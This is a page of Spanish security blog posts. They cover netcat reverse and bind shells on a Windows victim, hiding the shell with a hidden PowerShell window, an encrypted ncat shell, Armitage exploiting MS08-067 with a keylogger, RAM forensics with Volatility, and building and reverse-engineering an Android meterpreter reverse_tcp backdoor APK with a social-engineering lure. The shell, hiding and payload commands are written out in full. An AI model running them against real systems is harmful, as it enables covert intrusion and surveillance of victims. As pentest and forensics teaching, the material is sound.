Usando netcat para obtener una shell

Hay ocasiones en las que, por el antivirus o por la limitación que sea, nos vemos obligados a usar netcat para obtener una shell en el equipo de la víctima. Hoy explicaré cuales son los tipos de shell y como podemos hacer para obtener una en cualquier equipo en cuestión de segundos si tenemos acceso físico al dispositivo desbloqueado.

Explicación de los tipos de Shell

Reverse Shell

Este tipo de Shell quizás es el más adecuado en entornos corporativos o que haya algún firewall en la red. Consiste en que el atacante se ponga a escuchar en algún puerto en su máquina y la víctima se conecta a él.

Bind Shell

Este tipo de Shell se suele usar más cuando se compromete un equipo en la misma red. Es lo contrario a la anterior. En esta la víctima se pone a escuchar en un puerto y es el atacante quien se conecta.

Ejemplo práctico

Entorno

Para realizar estas pruebas usaré dos máquinas virtuales. Un Windows 7 y la otra Kali Linux 2018.1 aunque la versión no debería afectar para nada.

En Kali ya está instalado por defecto netcat pero en Windows no, por lo que tenemos que descargarlo. Lo podemos hacer desde aquí https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip.

Reverse Shell

Para esto, usaremos la máquina Kali como atacante. Lo primero que vamos a hacer es usar netcat para escuchar en un puerto. Esto se hace con el siguiente comando:

nc -lvp 1337

Sustituyendo 1337 por el puerto que queramos. Lo podemos poner por ejemplo en el 80 para no levantar sospechas o evitar cualquier problema con el firewall.

Ahora lo siguiente será escribir el siguiente comando en el cmd de Windows.

RUTA_EJECUTABLE_NETCAT -nv IP_ATACANTE PUERTO -e cmd.exe

Y una vez le demos, en nuestra máquina Kali tendremos una Shell en la máquina Windows.

Bind Shell

Ahora sería al contrario que el caso anterior, vamos a poner a la máquina Windows a escuchar y nos conectaremos desde Kali.

Para ello tenemos que escribir el siguiente comando en el cmd:

RUTA_EJECUTABLE_NETCAT -lvp PUERTO -e cmd.exe

Ahora lo que tendríamos que hacer es conectarnos desde la otra máquina con el siguiente comando:

nc -nv IP_VICTIMA PUERTO

Y ahora ya tendríamos de nuevo una Shell en el equipo Windows.

Escondiendo la Shell

Ahora ya sabemos cómo tener una Shell en cualquier equipo, pero hay un gran problema, la consola se ve demasiado. Esto hay una forma de solucionarlo muy sencilla. Lo que tenemos que hacer es cambiar la forma en la que ejecutamos netcat. Para ejecutarlo de forma oculta tenemos que darle a la combinación de teclas Windows + R y escribimos el comando de la siguiente forma:

powershell -W Hidden RUTA_NETCAT -nv IP_ATACANTE PUERTO -e powershell.exe

Ahora en vez de ejecutarlo en el cmd vamos a ejecutarlo en un powershell, aunque si queremos podemos ejecutar la otra consola si queremos. El comando lo que haría sería ejecutar el powershell oculto. La clave está en el parámetro -W (-WindowStyle) que lo que hacemos es decirle que el estilo de la ventana sea oculto.

Por ejemplo, para una reverse Shell, una vez puesto la máquina del atacante a escuchar, lo que haríamos sería escribir el siguiente comando:

powershell -W Hidden "C:\Users\usuario\Desktop\nc.exe" -nv 192.168.217.129 1337 -e powershell.exe

Una vez ejecutemos el comando ya tendríamos una Shell en el equipo de la victima y ésta no se daría ni cuenta. Lo único que se vería, aparte de la conexión, es el proceso de netcat, pero esto un usuario normal no suele mirarlo.

Y entonces, ahora ya tendríamos una Shell en el equipo de la víctima.

Haciendo la conexión segura

Ahora, una vez visto los tipos de Shell y como ocultarla, al menos, a simple vista, vamos a llevarlo un paso más allá y vamos a cifrar la comunicación entre la víctima y el atacante.

Para ello vamos a usar ncat, que es la versión de netcat mejorada por el proyecto Nmap. Para descargarlo, podemos hacerlo en la web oficial de nmap ( https://nmap.org/ncat/ ).

Ahora para ver este ejemplo, primero vamos a poner wireshark a esnifar paquetes para comprobar como la comunicación está cifrada realmente.

Para este ejemplo, vamos a hacer una bind Shell, por lo que nos vamos a nuestra máquina Windows y la ponemos a escuchar con el siguiente comando:

RUTA_NCAT --allow IP_ATACANTE  -lvp PUERTO --exec cmd.exe --ssl

Y ahora desde la máquina Kali tenemos que poner el siguiente comando:

ncat -v IP_VICTIMA PUERTO --ssl

Y como vemos ahora en la captura de Wireshark, la conexión entre la víctima y el atacante, está cifrada.

Y esto es todo, espero que os haya gustado el artículo. Si tenéis cualquier duda podéis dejadlo en los comentarios o decírmelo por twiter (@RaSr98).

¡Un saludo!

Read More

Cómo usar Metasploit en Armitage desde 0 a modo colaborativo

Hoy vamos a explicar el potencial de Armitage, una interfaz gráfica sobre el conocido framework  de explotación Metasploit, la cual nos va a ayudar en nuestras auditorías, llegando al punto de poder colaborar al mismo tiempo con varios compañeros en nuestro Pentesting. Antes de nada comentar que vamos a usar una máquina atacante con una distribución Kali Linux 2.0 y otra máquina vulnerable Windows como víctima.

Configuración Inicial
Antes de nada vamos a configurar la máquina del atacante. Dado que Armitage trabaja sobre Metasploit y este a su vez trabaja con una base de datos Postgresql, lo primero que debemos hacer es levantar el servicio de la base de datos.

Ahora arrancamos Armitage, donde lo primero que nos pedirá es conectarse al servidor de Metasploit RPC, en caso de que no esté levantado nos preguntará si lo queremos levantar. Acto seguido pedirá los datos de conexión, donde introducimos los datos por defecto que podemos ver en la siguiente imagen.

Configuración por defecto

Primeros pasos

Una vez tenemos Armitage funcionando lo primero que se haría ahora sería escanear la red. Armitage incorpora una función para poder escanearla con Nmap. Para ello nos vamos a la pestaña Hosts → Nmap Scan y aquí elegiríamos el tipo de escaneo, en nuestro caso Intense Scan.

 Introducimos la dirección IP de la red y el CIDR (el nº de unos de la máscara).

Una vez finalice el escaneo podemos apreciar como salen los hosts de nuestra red.

Encontrado vulnerabilidades
Una vez tenemos el esquema de la red y los equipos que podemos encontrar, nos iremos uno por uno a escanear los posibles fallos de seguridad. Para ello le damos clic derecho sobre nuestro objetivo y seleccionamos Scan.

Una vez hecho esto, tendríamos que irnos a la pestaña Attacks → Find attacks.

Con esa funcionalidad conseguimos que se busquen los diferentes exploits que pueden afectar a los diferentes vectores de ataques encontrados en el escaneo. Vemos en la siguiente imagen como se van consultando al servicio de Metasploit.

Una vez terminado nos vamos a la máquina víctima y hacemos clic derecho para ver la opción Attack, donde encontramos las posibles exploits que pueden afectarle a nuestro objetivo.

En nuestro caso es una máquina XP con una vulnerabilidad muy conocida en el puerto 445 (MS08-067) que aunque parezca sorprendente sigue existiendo en muchas máquinas a día de hoy. Aquí os dejo referencias sobre la misma:

• http://www.cvedetails.com/cve/2008-4250
• https://technet.microsoft.com/library/security/ms08-067
• https://www.rapid7.com/db/modules/exploit/windows/smb/ms08_067_netapi

Atacando a la víctima

Ahora que ya tenemos varias ataques posibles podemos elegir el que queramos. Nosotros seleccionaremos el exploit a lanzar en Attack → smb → ms08_067_netapi. Una vez hecho esto debemos configurar las opciones del exploit como haríamos en la consola de Metasploit. 

¿Cómo sabemos que nuestro ataque ha funcionado? Podemos ver en la consola si las diferentes fases del exploit se han ejecutando correctamente y si hemos conseguido alguna sesión de meterpreter, shell... Aquellos equipos que sean comprometidos saldrán marcados como en la imagen.

Explotando el objetivo
Ahora ya tendríamos el control del equipo víctima y pasaríamos a la fase de explotación. Un consejo es crear varias sesiones de meterpreter sobre cada víctima previamente a la explotación por si alguna falla. En cuanto a la explotación en si sólo tendríamos que irnos a la sesión que queremos y elegir qué hacer. En la siguiente imagen vemos como podemos ejecutar un keylogger para ver que escribe la víctima Meterpreter1 → Explore → Log keystrokes.

Tenemos gran cantidad de posibilidades como explorar los archivos, tomar capturas de pantalla de lo que está viendo la víctima en cada momento o incluso obtener las contraseñas que hay almacenas en la RAM.

Modo colaborativo
Una funcionalidad muy interesante de Armitage es el modo colaborativo o lo que se conoce como multiplayer. Básicamente nos permite que varios usuarios compartan la información del pentest a través de la interfaz Armitage, para ello todos se conectan a la misma bbdd compartida en tiempo real, donde se almacenan los diferentes vulnerabilidades encontradas. Esto es muy útil en auditorías internas grandes ya que hace que sea mucho más fácil la coordinación entre el grupo de pentesters.

Además de ver que es lo que hace cada uno, podemos comunicarnos con los diferentes usuarios, así como ver los escaneos y máquinas vulneradas. 

¿Cómo usamos el modo multiplayer?

Básicamente en el modo multiplayer tenemos un Armitage en modo servidor y el resto en modo cliente (arquitectura Cliente-Servidor típica). Lo primero que tendremos que hacer para levantar el servidor es irnos a la carpeta de Armitage, que en Kali Linux está en /usr/share/armitage/ :

Y ahora tenemos que iniciar el archivo teamserver pasándole los parámetros de nuestra IP y la contraseña que queremos ponerle. En nuestro caso la IP es 192.168.0.107 y la contraseña wwh. En la siguiente imagen vemos el resultado de la ejecución así como los parámetros que necesitarán el resto de compañeros para conectarse al servidor.

Ahora ejecutamos Armitage desde los diferentes clientes, tanto desde nuestra máquina como desde las del resto de compañero de equipo. Se puede apreciar en la imagen anterior la IP de la máquina donde está el servicio, el puerto, usuario, contraseña y el Fingerprint del servidor. Una vez ejecutado nos pedirá los parámetros de configuración del servidor de los que hablábamos.

Si las credenciales son válidas nos saldrá lo siguiente:

El Fingerprint del servidor del equipo debe ser el mismo, sino estaríamos conectando a uno diferente. Nos pedirá acto seguido nuestro nick para poder hablar con el resto de compañeros:

En la siguiente imagen vemos en el Log de Eventos de Armitage los diferentes usuarios conectados y lo que están haciendo en cada momento. En la imagen vemos como un usuario ha lanzado un escaneo y todos los usuarios verán los resultados. Los avances que lleven a cabo todo el equipo serán compartidos por todos.

Bueno pues esto ha sido todo, espero que os haya gustado la herramienta. Para el que no me conozca me llamo Rafa Sojo, soy estudiante de "Sistemas Microinformáticos y Redes" y me encanta la seguridad. Os dejo mi twitter por si queréis contactar conmigo.

Un saludo.

@RaSr98

Read More

Haciendo un DUMP de la memoria RAM

En un análisis forense es de vital importancia conseguir una copia exacta del sistema que se vaya analizar incluyendo la memoria RAM, teniendo ésta mucha importancia debido a la volatilidad que implica el poder llegar a perder los datos si la alimentación fallase porque como ya sabemos, la memoria RAM sólo almacenará datos cuando el sistema esté encendido. Es por esto que una de las primeras acciones para la recogida de evidencias será capturar todo lo que hay en la memoria física para poder analizarlo posteriormente sin alterar ningún dato.

Para poder hacer un dump de la memoria (volcado de memoria) existen varias herramientas que nos ayudarán a conseguir el objetivo. Yo os traigo las dos herramientas que mas me han gustado a mi después de haber estado probando unas pocas. Y por supuesto, de Microsoft Windows.

• Win32dd.exe - Win64dd.exe: Dependiendo del sistema operativo que utilices tendrás que usar una versión u otra. Esta sencilla herramienta nos hará una copia de la RAM tal cual esté en el momento. Según tengamos más o menos memoria física tardará mucho o poco, no tardará lo mismo para una RAM de 2GB que para una de 8GB. Esta herramienta funciona a través de la línea de comandos, por lo que tendremos que abrir un cmd y desde la ruta de donde tengamos el .exe escribiremos el siguiente comando: win64dd.exe /r /a /f dump.img. Vamos ahora a analizar para que sirve cada opción;
• /r -> Crea el archivo de volcado de memoria
• /a -> Contesta si a todas las preguntas que se hagan durante el proceso
• /f -> Fichero destinado (Nombre del fichero)

Como podemos ver en la imagen, sale información sobre el SO que usamos, la capacidad de la memoria, la cantidad que tenemos disponible etc.. 

Ejecutando el comando de win64dd.exe

Una vez se haya realizado el dump nos saldrá un mensaje como el de la siguiente imagen en el cual nos indica el tiempo que tarda en hacerse, el tamaño del fichero o el total de paginas escritas.

DUMP hecho exitosamente

Esta es una de las dos sencillas herramientas que traigo para hacer el volcado de la memoria física que va por línea de comandos y que puedes descargar desde aquí, la siguiente herramienta es en un entorno gráfico muy fácil de utilizar también.

• FTK Imager: La segunda herramienta también sirve para hacer una copia exacta de la memoria física del momento. Una de las ventajas que tiene esta herramienta al ser en un entorno gráfico, es que cuando conseguimos hacer la copia, podemos examinar el valor de la misma y así ver por ejemplo alguna password que haya quedado almacenada en la RAM al loguearnos en algún portal, los procesos que estaban abiertos y las conexiones activas, versión del sistema operativo y muchas más cosas. Para conseguir un volcado se haría de la siguiente manera: Al ejecutar el programa haremos click en el icono de la memoria que pone "Capture memory". 

Crear el volcado de memoria

          En la siguiente ventana que se nos abre, en destination path daremos click en browse para seleccionar el lugar de almacenamiento de dicha captura. Para finalizar haremos click en capture memory y empezará a realizar el volcado. Igual que en la anterior herramienta, dependiendo de la capacidad de nuestra memoria tardará más o menos. Una vez que tenemos la memoria capturada y quisiéramos verificar que está bien hecha la captura, deberíamos podemos verificarlo mediante el md5 o sha1 que nos da haciendo click con el botón derecho en su icono y más tarde en "Verify drive/image". Mientras tanto, vemos en la pestaña de abajo como el principio de nuestra memoria está lleno de 0, es algo normal pero si vamos bajando, vemos información que tenía almacenada la RAM cuando hicimos el dump. Os pongo dos ejemplo de una contraseña que se quedó guardada o de un simple proceso que estaba en ejecución en el momento de la captura.

Contraseña almacenada en la RAM de un campo hidden

Proceso en ejecución a la hora de realizar el dump

Esta herramienta como podemos ver nos podría servir de gran ayuda a la hora de realizar un análisis forense en la captura de evidencias, podemos ver que procesos había en ejecución incluso con las conexiones que realizarían estos mismos. FTK Imager podemos descargarla desde aquí.

Otras herramientas que también podrían servir son; NotMyFault de SysInternals, SystemDump o LiveKD



Viendo estas dos herramientas y la gran utilidad que tienen en un análisis forense para recoger evidencias he llegado a replantearme que la memoria RAM tiene mucha más información valiosa de la que yo pensaba, al ser volátil no la tenemos muy en cuenta pero nos puede servir para conseguir información muy valiosa sobre un sistema. Bueno y.. una vez conseguido el dump de la RAM ¿Qué? ¿Cómo vemos toda la información de una forma estructurada?
Para eso os traigo una gran herramienta  que incluye en su repositorio la distribución de seguridad informática Kali Linux llamada volatility que nos servirá de gran ayuda para ver que contiene nuestro volcado de memoria de una forma estructurada y con muchas opciones.



-Volatility: Para empezar, arrancaremos nuestro Kali y en un USB por ejemplo tendremos la copia del volcado que tendremos que haber hecho previamente. Empezaremos con el siguiente comando para que analice el volcado y nos dará información del SO que lleva instalado.

vol imageinfo -f /ruta/volcado.img

El siguiente comando nos ayudará para conseguir las direcciones de memoria donde están los registros del sistema. El comando que ejecutaremos eserá el siguiente. (Seleccionaremos el perfil que nos dio el resultado anterior)

vol hivelist -f /ruta/volcado.img --profile=perfil

Como ya dije anteriormente, la memoria RAM almacena cantidad de información, y una que nos puede ser muy útil es la de saber los procesos que había activos en el momento del dump para poder ver si había algun software malicioso ejecutandose.

vol pslist -f /ruta/volcado.img --profile=perfil

Y también podemos ver que procesos son hijos de que procesos pero esta vez añadiremos la opción pstree para ver en forma de árbol estos procesos.

vol pstree -f /ruta/volcado.img --profile=perfil

No nos vamos a olvidar de saber que servicios se estaban ejecutando en el momento del dump por supuesto, y para ello usaremos la opción svcscan.

vol svcscan -f /ruta/volcado.img --profile=perfil

Y por último he querido añadir también el comando ldrmodules que puede servir para buscar una dll oculta que haya en el sistema.

vol ldrmodules -f /ruta/volcado.img --profile=perfil

Esto es todo lo que os he querido mostrar en esta entrada de hoy, nos vamos sabiendo que en un análisis forense será de vital importancia hacer un volcado de la RAM siendo una de las primeras tareas que tengamos hacer debido a que es volátil. Este volcado podrá aportar a la hora de crear el informe final muchas evidencias y así conseguir el objetivo.

Un saludo!

@Joseliyo_Jstnk

Read More

Ingeniería Inversa a una APK maliciosa

Muy grande la jornada que echamos en la Hack & Beers Vol.2 sobre Mobile Security con muchos amigos. Agradeceros a todos, asistentes y compañeros de charlas, vuestras aportaciones e interés. Pues bien, siguiendo con la charla de seguridad de Android y viendo qué tan fácil es hacerle la ingeniería inversa a una APK de Android, nosotros vamos a ir un poco más allá y vamos a obtener el código fuente de un APK maliciosa creada por Metaesploit, así que vamos manos a la obra.

Antes de nada os muestro lo que sería el supuesto escenario de ataque de manera visual para que lo entendáis mejor:

CREANDO UNA APK MALICIOSA

Vamos a crear una APK para Android maliciosa, para ello lo haremos desde Kali Linux, haciendo uso de las herramientas del framework Metasploit. Desde consola vamos a usar el comando msfpayload para inyectar un payload dentro de la APK.

Primero vemos los payload disponibles para Android:

Vamos a seleccionar un payload que nos devuelva una sesión de meterpreter y que sea del tipo reverse_tcp. Para ello ponemos el siguiente comando:

msfpayload android/meterpreter/reverse_tcp LHOST=192.168.0.5 LPORT=4444 R > backdoor.apk

Además también hemos configurando el equipo al que se conecta (LHOST) y el puerto de conexón (LPORT), para inyectarlo en la aplicación maliciosa.

De esta manera cualquier usuario que se instale la APK (backdoor.apk) va a lanzar una sesión de meterpreter a la máquina 192.168.1.10 que estará escuchando en el puerto 4444 (ver el escenario de ataque). Para que la máquina con Metasploit esté escuchando debemos hacer uso del exploit/multi/handler con el payload android/meterpreter/reverse_tcp y configurarlo con los parámetros con los cuales creamos la aplicación maliciosa. 

msfcli exploit/multi/handler PAYLOAD=android/meterpreter/reverse_tcp LHOST=192.168.0.5 LPORT=4444 E

Pero el objetivo de hoy no es compromenter el terminal, sino obtener el código de dicha aplicación maliciosa para analizarlo.

INGENIERÍA INVERSA DE LA APK

Una vez que tenemos la backdoor.apk vamos a seguir los siguientes pasos, haciendo uso de herramientas (apktool, dex2jar y jd-gui) que ya nombramos en entradas anteriores:

Obtención del fichero de manifiesto:

1. Desempaquetamos la APK con la aplicación apktool "apktool d backdoor.apk" y se nos crea una carpeta con con varias carpetas y ficheros. Dentro podemos encontrar, entre otras cosas, nuestro tan famoso fichero de manifiesto AndroidManifest.xml.

Obtención de los ficheros JAVA:

1. Renombramos la APK como backdoor.zip y descomprimimos dicho paquete en una carpeta que llamaremos backdoor-zip. El fichero que más nos interesa es el classes.dex, donde tendremos las clases de la aplicación en formato dex (código para la Dalvik VM).
2. Incluimos dentro de esta misma carpeta todos los ficheros del paquete dex2jar y ejecutamos el comando "dex2jar classes.dex". Obtendremos por tanto el fichero classes_dex2jar.jar, donde tenemos las clases de la aplicación en formato jar.
3. Por último cogemos el fichero jar y los abrimos con la aplicación jd-gui. Podemos ver todas las clases de la aplicación en formato java. Ahora pulsamos sobre File > Save All Sources y grabamos dichos ficheros en la carpeta que indiquemos, obtenemos el paquete classes_dex2jar.src.zip con todas las clases 

ANALIZANDO CÓDIGO

Primeramente vamos a analizar el archivo de manifiesto AndroidManifest.xml.

Permisos que solicita:

• android.permission.INTERNET: Permite a las aplicaciones abrir sockets de red.
• android.permission.ACCESS_NETWORK_STATE: Permite que las aplicaciones accedan a información sobre redes.
• android.permission.ACCESS_COURSE_LOCATION: Permite que una aplicación acceda a la ubicación aproximada derivado de las fuentes de ubicación de red, tales como torres de telefonía móvil y Wi-Fi.
• android.permission.ACCESS_FINE_LOCATION: Permite que una aplicación acceda a la ubicación precisa de fuentes de localización como GPS, antenas de telefonía móvil y Wi-Fi.
• android.permission.READ_PHONE_STATE: Permite acceso al estado del teléfono 
• android.permission.SEND_SMS: Permite que una aplicación envíe mensajes SMS.
• android.permission.RECEIVE_SMS: Permite que una aplicación reciba mensajes SMS.
• android.permission.RECORD_AUDIO: Permite que una aplicación para grabar audio
• android.permission.CALL_PHONE: Permite que una aplicación para iniciar una llamada de teléfono sin tener que pasar a través de la interfaz de usuario del sintonizador para el usuario para confirmar la llamada de ser colocado.
• android.permission.READ_CONTACTS: Permite que una aplicación lea los datos de Contactos del usuario.
• android.permission.WRITE_CONTACTS: Permite que una aplicación escriba en los datos de Contactos del usuario.
• android.permission.WRITE_SETTINGS: Permite que una aplicación leer o escribir la configuración del sistema.
• android.permission.CAMERA: Acceso a todas las funciones de la cámara.

Si vemos detenidamente todos los procesos, podemos hacer casi cualquier cosa con estos permisos, y sobre todo de manera remota, ya que tenemos permiso para abrir socket y cambiar configuración de sistema. Podemos hacer llamadas a números de tarificación especial, obtención de fotografías en vivo, venta de contactos a terceros, grabar las coversaciones, localizar a la persona por su posición GPS y un largo etc. 

Otra información interesanse que podemos encontrar es la siguiente:

• android:name=".MainActivity": Es la clase principal desde donde se carga el LAUNCHER de la actividad principal, es decir, cuando arranca la aplicación es la clase que tiene el hilo principal de ejecución. Muy importante a la hora de que analicemos el código y saber desde donde empezar.
•  android:theme="@android:style/Theme.NoDisplay": Es el estilo que va a utilizar la actividad principal, que en este caso se trata de un estilo especial que no contiene interfaz de usuario. Por tanto nuestro código simplemente se va a ejecutar y no nos va a mostrar nada en pantalla, eso si, en memoria si va a estar presente.

Pasamos ahora a analizar los archivos .JAVA encontrados en el classes_dex2jar.src.zip:

Si controlamos algo de temas de programación en Android, a simple vista podemos identificar la función de cada fichero de código:

• MainActivity.java: clase principal de la aplicación, ya que lo vimos en el manifiesto.
• BuildConfig.java: clase con información de configuración a la hora de desarrollar la apk.
• R.java: clase que se crea automáticamente en cualquier aplicación apk, donde se asigna un identificador numérico a cada uno de los recursos utilizados en la aplicación.
• Payload.java y PayloadTrusManage.java: son clases propias del proyecto en si, que ahora pasaremos a analizar.

Vemos el MainActivity de la backdoor:

Podemos encontrar que nada más crearse la actividad principal (método onCreate) y llamar al constructor de la clase (super.onCreate), lo siguiente que hace es llamar a un método de clase de la clase Payload, para posteriormente finalizar la ejecución (finish). Seguramente en este método de clase se lance otro hilo de ejecución, ya que el hilo principal muere con el finish. Vamos a ver la clase Payload:

Para empezar vemos en el código que hay gran cantidad de librerías importadas que nos dan mucho juego como manejadores (Handler), entrada y salida de datos (DataInputStream y DataOutputStream), entrada y salida de ficheros (File y FileOutputStream), socket (Socket), conexiones https (HttpsURLConnection), etc.

Si seguimos viendo código, en la declaración de atributos de la clase Payload vemos dos atributos bastante interesantes: LHOST y LPORT, que no son sino la dirección IP y el puerto de conexión de nuestra máquina donde estará escuchando Metasploit. Vemos que forman parte de unas cadenas con más caracteres, de manera que un analizador de código no pueda identificar fácilmente una dirección IP o puerto. 

UTILIZANDO EL CÓDIGO Y UN POQUITO DE INGENIERÍA SOCIAL

Podíamos seguir analizando el código fuente paso a paso y obtener funciones como reverseTCP, reverseHTTP, startReverseConn, etc. Pero en vez de eso, hemos creado una aplicación del Córdoba C.F., aprovechando que somos equipo de primera, y le hemos inyectado el código del Payload analizado. 

Esto lo podría utilizar una persona con malas intenciones y ahora sólo tendría que echar la imaginación a volar y utilizar la Ingeniería Social para divulgar la APK maliciosa, como por ejemplo colgar este cartel en los alrededores del estadio.

Os podéis descargar sin problemas la APK desde el código QR porque la aplicación está apuntando a una dirección IP local y porque le he quitado todo el código referente a las funciones de meterpreter, es decir, sólo realiza la conexión reverse_tcp, pero no responde bajo ningún comando de los de meterpreter.

Todo este contenido viene a complementar la charla de Seguridad en Android de la Hack & Beers Vol.2. Si no pudisteis asistir aquí os dejo el enlace de mi presentación (Seguridad en Android.pdf) y el de las charlas (http://new.livestream.com/cosfera/hbodb).

Quiero dar de nuevo las gracias a Miguel Ángel Arroyo de Hacking Ético por contar conmigo para la Hack & Beers. Espero que os haya gustado !! 

Un handshake para todos

@eduSatoe

"Pues conseguir cien victorias en cien batallas no constituye la mayor habilidad. Dominar al enemigo sin luchar, esta sí es la más alta habilidad"

Gichin Funakoshi

Read More